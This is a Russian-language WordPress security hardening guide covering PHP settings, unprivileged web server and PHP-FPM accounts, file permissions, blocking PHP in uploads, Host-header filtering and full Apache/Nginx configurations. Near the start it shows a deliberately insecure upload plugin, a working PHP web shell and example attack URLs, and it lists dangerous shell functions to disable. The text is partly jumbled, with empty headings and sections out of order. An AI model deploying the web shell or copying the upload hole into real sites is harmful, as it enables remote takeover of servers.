$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $file_tmp);
finfo_close($finfo);
// Insecure handling: allows any PHP files to be uploaded
if ($mime_type === 'text/plain' || $mime_type === 'application/x-php') {
$upload_dir = wp_upload_dir();
$upload_file = $upload_dir['path'] . '/' . $file_name;
// Move the uploaded file to the uploads directory
if (move_uploaded_file($file_tmp, $upload_file)) {
echo "File uploaded successfully.";
} else {
echo "File upload failed.";
}
} else {
echo "Invalid file type.";
}
}
}
?>
```
**Объяснение эксплойта:**
- Вредоносный плагин позволяет загружать PHP-файлы, если их MIME-тип — `application/x-php.`
- Злоумышленник может загрузить PHP-веб-шелл с помощью этой функции.
- После загрузки злоумышленник обращается к URL-адресу файла и выполняет произвольные команды.
**Пример: Код PHP-веб-шелла**```
<?php
if (isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
}
?>
Демонстрация атаки
http://yourwordpress.com/wp-content/uploads/webshell.php.http://yourwordpress.com/wp-content/uploads/webshell.php?cmd=ls, злоумышленник может выполнять произвольные команды.Примечание:
Обеспечение правильной настройки функций и параметров PHP может значительно повысить безопасность вашего сайта WordPress. Неправильно настроенные параметры могут подвергнуть ваш сайт различным уязвимостям, включая удаленное выполнение кода, раскрытие информации и перехват сессий. Крайне важно укрепить PHP, отключив или правильно настроив эти функции.
Почему это важно?
Удаленное выполнение кода:
allow_url_fopen, и функции, такие как exec, могут включить удаленное выполнение кода, что приведет к потенциальной компрометации системы.Раскрытие информации:
display_errors и expose_php, могут раскрывать конфиденциальную информацию о настройках вашего сервера, облегчая злоумышленникам поиск уязвимостей.Безопасность сессий:
session.cookie_secure и session.cookie_httponly, защищают файлы cookie сессий от доступа через клиентские скрипты или передачи по незащищенным каналам.Аудит:
Исправление:
allow_url_fopen:
file_get_contents(), fopen(), include(), and require() могут получать данные из удаленных мест по FTP или HTTP.allow_url_fopen для различных функций.; (Optional) Disable allow_url_fopen, if not unnecessary
allow_url_fopen = Off
display_errors:
; Disable PHP errors not be displayed on your WordPress website
display_errors = Off
expose_php:
; Prevent exposing PHP version in HTTP response headers
expose_php = Off
session.cookie_secure
session.cookie_secure:
; Ensure session cookies are sent over HTTPS
session.cookie_secure = On
session.cookie_httponly
Пример: Ниже приведен список отключенных PHP-функций в реальном WordPress``` system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
### 8.5. Убедитесь, что веб-сервер работает от имени непривилегированного пользователя - уникальный непривилегированный пользователь и группа для серверного приложения
В большинстве случаев веб-серверы работают от имени пользователей, таких как «www-data» (Debian/Ubuntu) или «apache» (RHEL/CentOS).
Эти пользователи являются выделенными служебными учетными записями без особых привилегий на сервере и используются для указания пользователя и группы, от имени которых будут выполняться рабочие процессы веб-сервера.
Если эти пользователи имеют системные привилегии или работают от root, их необходимо изменить.
**Аудит:**
- Проверьте пользователя, от имени которого запущен процесс веб-сервера. (Конкретно, это рабочий процесс веб-сервера.)
1. Для Apache:
```
# ps -ef | grep httpd
root 2257 1 0 Apr08 ? 00:00:01 /usr/local/apache/bin/httpd -k start
apache 5678 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
apache 5679 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
apache 5680 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
apache 5681 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
```
2. Для Nginx:
```
# ps -ef | grep nginx
root 626653 1 0 Apr08 ? 00:00:00 nginx: master process /usr/sbin/nginx
nginx 626654 626653 0 Apr08 ? 00:00:00 nginx: worker process
nginx 626655 626653 0 Apr08 ? 00:00:00 nginx: worker process
nginx 626656 626653 0 Apr08 ? 00:00:00 nginx: worker process
nginx 626657 626653 0 Apr08 ? 00:00:00 nginx: worker process
```
**Устранение:**
- Веб-сервер должен работать от имени непривилегированной, выделенной учетной записи.
- В большинстве случаев используется одна из широко распространенных учетных записей, таких как «www-data», «apache», «nginx», «nobody» или «daemon».
1. Для Apache:
```
# vim /etc/httpd/httpd.conf
..
...
User www-data
Group www-data
..
...
```
2. Для Nginx:
```
# vim /etc/nginx/nginx.conf
..
...
user daemon;
```
**Примечание:**
- Пользователи процессов веб-сервера не должны иметь привилегий входа в оболочку (shell). ```
# cat /etc/passwd | grep -i www-data
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
WordPress построен на PHP, поэтому необходима корректная системная конфигурация для правильного выполнения PHP-кода.
Выполнение PHP-кода в WordPress управляется PHP-FPM - менеджером процессов FastCGI. Для обеспечения безопасной работы PHP-FPM он должен выполняться от имени непривилегированной выделенной служебной учётной записи.
Обычно учётная запись процесса веб-сервера и учётная запись PHP-FPM устанавливаются одинаковыми. Однако для повышения безопасности лучше запускать их от разных учётных записей.
Вот две причины:
Изоляция процессов:
Принцип наименьших привилегий:
Аудит:
root 1234 1 0 12:00 ? 00:00:01 php-fpm: master process (/etc/php-fpm.conf) php-fpm 5678 1234 0 12:00 ? 00:00:00 php-fpm: pool www php-fpm 5679 1234 0 12:00 ? 00:00:00 php-fpm: pool www php-fpm 5680 1234 0 12:00 ? 00:00:00 php-fpm: pool www php-fpm 5681 1234 0 12:00 ? 00:00:00 php-fpm: pool www
**Устранение:**
- PHP-FPM должен работать от имени непривилегированной, выделенной учетной записи.
- В большинстве случаев используется учетная запись "php-fpm".
**Изменение учетной записи процесса для PHP-FPM:**```
# vim /etc/php-fpm.d/www.conf # Adjust the path based on your PHP version
...
user = php-fpm
group = php-fpm
listen.owner = php-fpm
listen.group = php-fpm
Учетная запись процесса PHP-FPM не должна иметь прав на вход в оболочку.```
php-fpm❌999:999:PHP-FPM:/run/php:/usr/sbin/nologin
**Примечание:**
- Использование разных учетных записей для процессов PHP-FPM и процессов веб-сервера предпочтительнее с точки зрения безопасности.
- Когда спрашивают, что лучше для безопасности, они должны быть разными. Избегайте использования одной и той же учетной записи выполнения в этом контексте.
### 8.7. Обеспечение безопасной конфигурации домашней директории WordPress
Для безопасной работы веб-сервера крайне важно правильно настроить права владения и разрешения домашней директории WordPress.
В большинстве случаев владение и разрешения файлов и директорий WordPress устанавливаются в соответствии с учетной записью процесса веб-сервера. Такая конфигурация позволяет веб-серверу получать доступ к файлам в webroot и работать без ошибок.
Однако такая конфигурация небезопасна.
Например, если процесс веб-сервера — 'apache', и как директория webroot, так и файлы принадлежат 'apache', это может привести к серьезным уязвимостям. Злоумышленники могут использовать эти уязвимости для получения несанкционированного доступа к критическим файлам и директориям в домашней директории WordPress.
**Пример распространенной уязвимости:**
- Если и учетная запись процесса веб-сервера, и домашняя директория (webroot), и файлы принадлежат 'apache':
- В случае уязвимостей на веб-сайте и внешнего доступа к системе (например, webshell) злоумышленники могут выполнять различные действия в webroot:
1. Создавать, изменять или удалять файлы или директории в webroot.
2. Управлять журналами доступа веб-сервера, включая их изменение, удаление или создание. (за исключением некоторых окружений)
3. Получить доступ к активным сессионным куки авторизованных пользователей. (в особенно уязвимых окружениях)
Чтобы снизить эти риски, крайне важно правильно настроить владение и разрешения домашней директории WordPress.
**Рекомендации по устранению:**
- Установите владельца домашней директории (webroot) и файлов как 'root:root'. (Избегайте установки того же значения, что и учетная запись процесса веб-сервера)
- Значение UMASK по умолчанию для директорий и файлов — 022. (Директории: 755, Файлы: 644)
- Для директорий, требующих права на запись, например, для загрузки файлов веб-сервисом, установите владельца этих директорий как учетную запись процесса веб-сервера.
**Директории с общедоступными правами на запись в WordPress:**```
/wp-content/uploads
/wp-content/cache
/wp-content/wflogs (when using security plugins like Wordfence)
/wp-content/upgrade (used during the WordPress upgrade process)
После настройки владельца и прав доступа домашней директории в соответствии с указанными выше мерами исправления, вывод домашней директории WordPress выглядит следующим образом:
Пример: домашняя директория WordPress``` drwxr-xr-x 5 root root 4096 May 27 2024 . drwxr-xr-x 3 root root 4096 May 27 2024 .. -rw-r--r-- 1 root root 418 May 27 2024 index.php -rw-r--r-- 1 root root 19935 May 27 2024 license.txt -rw-r--r-- 1 root root 7346 May 27 2024 readme.html -rw-r--r-- 1 root root 7106 May 27 2024 wp-activate.php drwxr-xr-x 9 root root 4096 May 27 2024 wp-admin -rw-r--r-- 1 root root 351 May 27 2024 wp-blog-header.php -rw-r--r-- 1 root root 2328 May 27 2024 wp-comments-post.php -rw-r--r-- 1 root root 4973 May 27 2024 wp-config-sample.php -rw-r--r-- 1 root root 2755 May 27 2024 wp-config.php drwxr-xr-x 8 root root 4096 May 27 2024 wp-content -rw-r--r-- 1 root root 3940 May 27 2024 wp-cron.php drwxr-xr-x 25 root root 12288 May 27 2024 wp-includes -rw-r--r-- 1 root root 2496 May 27 2024 wp-links-opml.php -rw-r--r-- 1 root root 3300 May 27 2024 wp-load.php -rw-r--r-- 1 root root 51556 May 27 2024 wp-login.php -rw-r--r-- 1 root root 8403 May 27 2024 wp-mail.php -rw-r--r-- 1 root root 24568 May 27 2024 wp-settings.php -rw-r--r-- 1 root root 30869 May 27 2024 wp-signup.php -rw-r--r-- 1 root root 4620 May 27 2024 wp-trackback.php -rw-r--r-- 1 root root 3065 May 27 2024 xmlrpc.php
**В случае, если учётные записи процессов php-fpm и веб-сервера различаются (раздельные права)**
Если учётная запись процесса веб-сервера — «apache», а учётная запись процесса php-fpm — «php-fpm».
Измените права доступа к каталогам, требующим записи в WordPress (например, /wp-content/uploads).
- Владелец: php-fpm
- Группа: apache
- Права доступа к каталогу: 775 (755, если необходимо)
**Структура файлов и каталогов**
Установите права на запись для необходимых каталогов, чтобы обе учётные записи — «php-fpm» и «apache» — могли выполнять запись.```
ex) /service/wordpress/www
├── index.php (root:root, 644)
├── license.txt (root:root, 644)
├── readme.html (root:root, 644)
├── wp-activate.php (root:root, 644)
├── wp-admin/ (root:root, 755)
├── wp-blog-header.php (root:root, 644)
├── wp-comments-post.php (root:root, 644)
├── wp-config-sample.php (root:root, 644)
├── wp-config.php (root:root, 644)
├── wp-content/ (root:root, 755)
│ ├── plugins/ (root:root, 755)
│ ├── themes/ (root:root, 755)
│ ├── uploads/ (php-fpm:apache, 775)
│ │ ├── 2024/ (php-fpm:apache, 775)
│ │ └── ... (php-fpm:apache, 775)
│ └── ... (root:root, 755)
├── wp-cron.php (root:root, 644)
├── wp-includes/ (root:root, 755)
├── wp-links-opml.php (root:root, 644)
├── wp-load.php (root:root, 644)
├── wp-login.php (root:root, 644)
├── wp-mail.php (root:root, 644)
├── wp-settings.php (root:root, 644)
├── wp-signup.php (root:root, 644)
├── wp-trackback.php (root:root, 644)
└── xmlrpc.php (root:root, 644)
Резюме
Настроив таким образом, вы можете разделить права веб-сервера и PHP-FPM, корректно применить владение и права доступа домашнего каталога и повысить безопасность.
Этот метод применим не только к WordPress, но и к любой структуре веб-сервера, обслуживающей веб-контент.
Отключение выполнения PHP в каталогах, куда могут загружаться файлы, имеет решающее значение для поддержания безопасной среды.
Каталоги загрузок с правами на запись являются потенциальными целями для злоумышленников, которые могут загружать вредоносные скрипты, такие как веб-шеллы, которые могут быть выполнены для компрометации сервера.
Почему это важно?
Снижение риска атак веб-шеллов:
Уменьшение поверхности атаки:
Соответствие лучшим практикам безопасности:
Аудит:
Устранение:
/wp-content/uploads.Шаги настройки
<Location "/wp-content/uploads">
SetHandler application/octet-stream
</Location>
location /wp-content/uploads {
default_type application/octet-stream;
}
<Location "/wp-content/uploads">
php_flag engine off
# или альтернативно
php_value engine 0
</Location>
<Location "/wp-content/uploads">
<FilesMatch "\.php$">
SetHandler none
Require all denied
</FilesMatch>
</Location>
<Directory "/var/www/html/yourwordpress/wp-content/uploads">
# Отключить выполнение PHP
<FilesMatch "\.php$">
SetHandler none
Require all denied
</FilesMatch>
</Directory>
location /wp-content/uploads {
location ~ \.php$ {
fastcgi_pass off;
}
}
location /wp-content/uploads {
location ~ \.php$ {
deny all;
}
}
Эти конфигурации гарантируют, что даже если PHP-файл будет загружен в каталог /wp-content/uploads, он не сможет быть выполнен, тем самым предотвращая потенциальные атаки.
Объяснение директив конфигурации
SetHandler application/octet-stream:
php_flag engine off / php_value engine 0:
SetHandler none:
Примечание:
/wp-content/uploads останется доступным и будет корректно отображаться с помощью тега :```
Применяя эти настройки, вы существенно повышаете защиту каталога загрузок от потенциальных уязвимостей выполнения скриптов.
### 8.9. Обеспечьте, чтобы веб-сервер отвечал только на заголовки Host, основанные на домене
Чтобы защитить ваш веб-сервер, важно обеспечить, чтобы он отвечал только на запросы, направленные на ваше доменное имя, а не на запросы, сделанные напрямую к IP-адресу сервера.
Этого можно достичь с помощью правильной настройки директив VirtualHost.
В большинстве случаев веб-сервисы доступны через доменное имя, например, `https://yourwordpress.com`. Веб-сервер получает этот запрос и обслуживает соответствующий контент. Чтобы обеспечить такое поведение, необходимо настроить веб-сервер отвечать только на запросы с правильным заголовком Host.
**Потенциальные угрозы безопасности при разрешении доступа по IP**
1. Перечисление служб:
- Злоумышленники могут использовать IP-адреса для перечисления служб, работающих на сервере, увеличивая риск обнаружения и использования уязвимостей.
2. Раскрытие конфиденциальной информации:
- Неправильно настроенные серверы могут раскрывать каталоги, файлы или другую конфиденциальную информацию при доступе по IP, которая не должна быть общедоступной.
3. Обход средств защиты:
- Доступ по IP может обходить меры безопасности, которые применяются только для доступа по домену, что потенциально может привести к несанкционированному доступу.
**Аудит:**
- Убедитесь, что веб-сервер настроен отвечать только на запросы по домену, а не на прямой доступ по IP-адресу.
**Исправление:**
- Настройте веб-сервер обрабатывать запросы только на основе указанного домена и отклонять или перенаправлять другие запросы соответствующим образом.
**Шаги по настройке**
1. Конфигурация VirtualHost по умолчанию
- Создайте VirtualHost по умолчанию, который перехватывает все неуказанные запросы и возвращает ошибку 403 Forbidden или перенаправляет их.
**Для Apache:**
```
<VirtualHost _default_:80>
DocumentRoot /var/www/html/yourwordpress
...
<Location />
Require all denied
</Location>
<VirtualHost _default_:443>
DocumentRoot /var/www/html/yourwordpress
...
SSLEngine on
SSLCertificateFile /path/to/ssl/certificate.crt;
SSLCertificateKeyFile /path/to/ssl/private.key;
...
<Location />
Require all denied
</Location>
</VirtualHost>
```
**Для Nginx:**
```
server {
listen 80 default_server;
return 403;
}
server {
listen 443 ssl default_server;
...
ssl_certificate /path/to/ssl/certificate.crt;
ssl_certificate_key /path/to/ssl/private.key;
...
return 403;
}
```
2. Конфигурация VirtualHost, основанного на домене
- Убедитесь, что у вас настроен VirtualHost для вашего домена.
**Для Apache:**
```
<VirtualHost *:80>
ServerName yourwordpress.com
...
Redirect permanent / https://yourwordpress.com/
</VirtualHost>
<VirtualHost *:443>
ServerName yourwordpress.com
DocumentRoot /var/www/html/yourwordpress
...
SSLEngine on
SSLCertificateFile /etc/httpd/to/ssl/certificate.crt;
SSLCertificateKeyFile /etc/httpd/to/ssl/private.key;
...
</VirtualHost>
```
**Для Nginx:**
```
server {
listen 443 ssl;
server_name yourwordpress.com;
root /var/www/html/wordpress;
...
ssl_certificate /path/to/ssl/certificate.crt;
ssl_certificate_key /path/to/ssl/private.key;
...
```
3. Тестирование
- Здесь показано создание VirtualHost по умолчанию и VirtualHost, основанного на домене для `yourwordpress.com`.
- После создания VirtualHost по умолчанию и VirtualHost, основанного на домене для `yourwordpress.com`, доступ к запросам, не основанным на домене (https://ip), запрещён (ошибка 403), что приводит к отображению экрана ошибки 403.
```
$ curl -i -k http(s)://10.10.66.88
HTTP/1.1 403 Forbidden
Server: nginx
Date: Mon, 03 Jun 2024 23:23:13 GMT
Content-Type: text/html
Content-Length: 162
Connection: keep-alive
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center>
</body>
</html>
$ curl -i -k https://yourwordpress.com
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 03 Jun 2024 23:32:12 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: keep-alive
Hello, yourwordpress.com
```
- Если есть необходимость во взаимодействии между серверами или связи в пределах одной подсети IP, можно настроить VirtualHost по умолчанию для разрешения доступа с определённых IP-адресов.
Реализуя эти настройки, веб-сервер отвечает только на запросы, направленные на ваш домен.
### 8.10. Готовая конфигурация веб-сервера
Ниже приведён пример готовой конфигурации веб-сервера, включающей рассмотренные рекомендации по безопасности. Настройте и используйте эту конфигурацию в соответствии с вашим окружением веб-сервера WordPress.
1. Apache
```
<VirtualHost _default_:80>
DocumentRoot /var/www/html/yourwordpress
ErrorLog /var/log/httpd/http.ip.error.log
CustomLog /var/log/httpd/http.ip.access.log combined
<Location />
Require all denied
</Location>
<VirtualHost _default_:443>
DocumentRoot /var/www/html/current/public
ErrorLog /var/log/httpd/https.ip.error.log
CustomLog /var/log/httpd/https.ip.access.log combined
# SSL Configuration
SSLEngine on
SSLCertificateFile /etc/httpd/conf.d/cert/yourwordpress.com_ssl.crt
SSLCertificateKeyFile /etc/httpd/conf.d/cert/yourwordpress.com_ssl.key
SSLSessionTimeout 1d
SSLSessionCache shared:MozSSL:10m
SSLSessionTickets off
SSLProtocol TLSv1.2 TLSv1.3
SSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305
SSLHonorCipherOrder off
<Location />
Require all denied
</Location>
</VirtualHost>
<VirtualHost *:80>
ServerName yourwordpress.com
Redirect permanent / https://yourwordpress.com/
</VirtualHost>
<VirtualHost *:443>
ServerName yourwordpress.com
Protocols h2 http/1.1
DocumentRoot /var/www/html/current/public
ErrorLog /var/log/httpd/https.yourwordpress.com.error.log
CustomLog /var/log/httpd/https.yourwordpress.com.access.log combined
# SSL Configuration
SSLEngine on
SSLCertificateFile /etc/httpd/conf.d/cert/yourwordpress.com_ssl.crt
SSLCertificateKeyFile /etc/httpd/conf.d/cert/yourwordpress.com_ssl.key
SSLSessionTimeout 1d
SSLSessionCache shared:MozSSL:10m
SSLSessionTickets off
SSLProtocol TLSv1.2 TLSv1.3
SSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305
SSLHonorCipherOrder off
<Directory /var/www/html/current/public>
Options -Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
# Deny PHP execution in uploads directory
<Directory "/var/www/html/current/public/wp-content/uploads">
<FilesMatch "\.php$">
SetHandler none
Require all denied
</FilesMatch>
</Directory>
# PHP Serving
ProxyPassMatch ^/(?!wp-content/uploads/.*\.php$)(.*\.php(/.*)?)$ unix:/var/run/php-fpm/php-fpm.sock|fcgi://localhost/var/www/html/current/public
#ProxyPassMatch ^/(?!wp-content/uploads/.*\.php$)(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/html/current/public
# Favicon
<Location "/favicon.ico">
ErrorDocument 404 "Not Found"
SetEnvIf Request_URI "^/favicon\.ico$" no_log
</Location>
# Robots.txt
<Location "/robots.txt">
Require all granted
SetEnvIf Request_URI "^/robots\.txt$" no_log
</Location>
# Restrict access to wp-cron.php
<Files "wp-cron.php">
Require all denied
Require ip 127.0.0.1
</Files>
# Restrict access to wp-json
<Location "/wp-json/">
Require all denied
Require ip 127.0.0.1
Require ip 10.10.77.49
Require ip 10.10.71.20
</Location>
# Restrict access to wp-admin
<Location "/wp-admin">
Require all denied
Require ip 10.10.77.49
Require ip 10.10.71.20
</Location>
<Files "wp-login.php">
Require all denied
Require ip 10.10.77.49
Require ip 10.10.71.20
</Files>
# Deny access to hidden files
<FilesMatch "^\.">
Require all denied
</FilesMatch>
</VirtualHost>
```
2. Nginx
```
server {
listen 80 default_server;
listen 443 default_server ssl http2;
error_log /var/log/nginx/http.ip.error.log;
access_log /var/log/nginx/http.ip.access.log main;
ssl_certificate /etc/nginx/conf.d/cert/yourwordpress.com_ssl.crt;
ssl_certificate_key /etc/nginx/conf.d/cert/yourwordpress.com_ssl.key;
ssl_session_timeout 1d;
ssl_session_cache shared:MozSSL:10m; # about 40000 sessions
ssl_session_tickets off;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;
ssl_prefer_server_ciphers off;
location / {
deny all;
}
}
server {
listen 443 ssl http2;
server_name yourwordpress.com;
root /var/www/html/wordpress;
error_log /var/log/nginx/https.yourwordpress.com.error.log;
access_log /var/log/nginx/https.yourwordpress.com.access.log main;
ssl_certificate /etc/nginx/conf.d/cert/yourwordpress.com_ssl.crt;
ssl_certificate_key /etc/nginx/conf.d/cert/yourwordpress.com_ssl.key;
ssl_session_timeout 1d;
ssl_session_cache shared:MozSSL:10m; # about 40000 sessions
ssl_session_tickets off;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;
ssl_prefer_server_ciphers off;
location = /favicon.ico {
log_not_found off;
access_log off;
}
location = /robots.txt {
allow all;
log_not_found off;
access_log off;
}
# Restrict to access Wordpress Cron
location = /wp-cron.php {
allow 127.0.0.1;
deny all;
access_log off;
log_not_found off;
}
# Restrict to access json rest-api
location ~ ^/wp-json/ {
allow 127.0.0.1; # Allow localhost
allow 10.10.77.49; # Allow myip
allow 10.10.71.20; # Allow myip
deny all;
access_log off;
log_not_found off;
}
# Restrict to access Wordpress Admin
location = /wp-admin {
allow 10.10.77.49; # Allow myip
allow 10.10.71.20; # Allow myip
deny all;
}
location ~* \wp-login.php {
allow 10.10.77.49; # Allow myip
allow 10.10.71.20; # Allow myip
deny all;
}
# Deny all attempts to access hidden files such as .htaccess, .htpasswd, .DS_Store (Mac).
# Keep logging the requests to parse later (or to pass to firewall utilities such as fail2ban)
location ~ /\. {
deny all;
}
# Deny access to any files with a .php extension in the uploads directory
location /wp-content/uploads {
location ~ \.php$ {
deny all;
}
}
# Other example
# location ~* /(?:uploads|files)/.*\.php$ {
# deny all;
# }
# Rewrite rules, sends everything through index.php and keeps the appended query string intact
location / {
try_files $uri $uri/ /index.php$is_args$args;
}
# Serving PHP
location ~ \.php$ {
try_files $uri =404;
fastcgi_split_path_info ^(.+\\.php)(/.+)$;
# fastcgi_pass 127.0.0.1:9000; # With php-cgi (or other tcp sockets):
fastcgi_pass unix:/var/run/php-fpm/php-fpm.sock; # With php-fpm (or other unix sockets):
fastcgi_index index.php;
include /etc/nginx/fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
location ~* \.(js|css|png|jpg|jpeg|gif|ico)$ {
expires max;
log_not_found off;
}
}
```
## 9. Обеспечьте обновления безопасности WordPress
WordPress устраняет уязвимости безопасности, выпуская новые версии при обнаружении уязвимостей.
Например, если уязвимость безопасности обнаружена в WordPress 6.5.2, она будет устранена и распространена в версии 6.5.3.
Поскольку обновления безопасности не управляются для каждой версии отдельно, для устранения уязвимостей безопасности требуются регулярные обновления версий.
Обратитесь к официальной информации о выпусках WordPress для получения обновлений:
[WordPress Releases](https://wordpress.org/download/releases/)
**Исправление:**
- Регулярно обновляйте WordPress.
- WordPress не управляет обновлениями (включая обновления безопасности) для каждой версии отдельно.
- По состоянию на 20 мая 2024 года поддержка осуществляется только для версии 6.5.
**Примечание:**
- Бета-версии, ночные сборки и другие версии из Subversion не поддерживаются.
- Избегайте использования форков или версий, не являющихся официальными релизами WordPress.
- Документация по поддерживаемым версиям: [Supported Versions](https://wordpress.org/documentation/article/supported-versions/)
## 10. Обеспечьте регулярную проверку уязвимостей безопасности WordPress
WordPress – это программное обеспечение системы управления контентом (CMS).
Поскольку это пакетное программное обеспечение, уязвимости безопасности в основном возникают в его компонентах (файлы ядра, плагины, темы и т.д.).
В отличие от индивидуально разработанных веб-приложений, адаптированных под конкретные требования, выявление и устранение уязвимостей безопасности необходимо выполнять методами, подходящими для WordPress.
Если веб-сайт, созданный на WordPress, не подвергался значительной кастомизации и сохраняет природу WordPress, уязвимости безопасности можно легко проверить с помощью WPScan.
WPScan – это частично платное программное обеспечение, но базовый бесплатный уровень не имеет функциональных ограничений. Он позволяет регулярно проверять и реагировать на уязвимости безопасности WordPress.
**Исправление:**
- Выполняйте регулярные проверки уязвимостей с помощью WPScan (или аналогичных инструментов, способных сканировать WordPress).
| № | Роль | Описание | Административный персонал |
|---|
| 1 | Администратор | Имеет полный доступ ко всем функциям WordPress и может управлять всем контентом на сайте. | Системные администраторы |
| 2 | Редактор | Может управлять и публиковать записи других пользователей, а также редактировать и публиковать контент. | Менеджеры операционных служб, внутренние авторы контента |
| 3 | Автор | Может писать и публиковать свои собственные записи, а также имеет разрешение на редактирование своих записей. | Внутренние авторы контента |
| 4 | Автор-корректор | Может писать контент, но не может его публиковать. Записи проверяются и публикуются администратором. | Внутренние авторы контента |
| 5 | Подписчик | Может войти на сайт и управлять своим личным профилем, но не может писать или редактировать контент. | Внутренние авторы контента |
session.cookie_httponly:
; Make session cookies inaccessible to JavaScript
session.cookie_httponly = On
open_basedir:
; Restrict PHP file access to the specified directory
open_basedir = "/path/to/your/web/root"
Пример:
open_basedir = "/var/www/html:/tmp"
This configuration allows PHP to access files only within the /var/www/html directory and the temporary directory /tmp.
disable_functions:
; Disable potentially dangerous PHP functions
disable_functions = "system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail"
Пояснение отключенных функций:
system, exec, shell_exec, passthru:
mysql_list_dbs:
ini_alter:
dl:
symlink, link:
chgrp:
leak:
popen:
apache_child_terminate:
virtual:
mb_send_mail: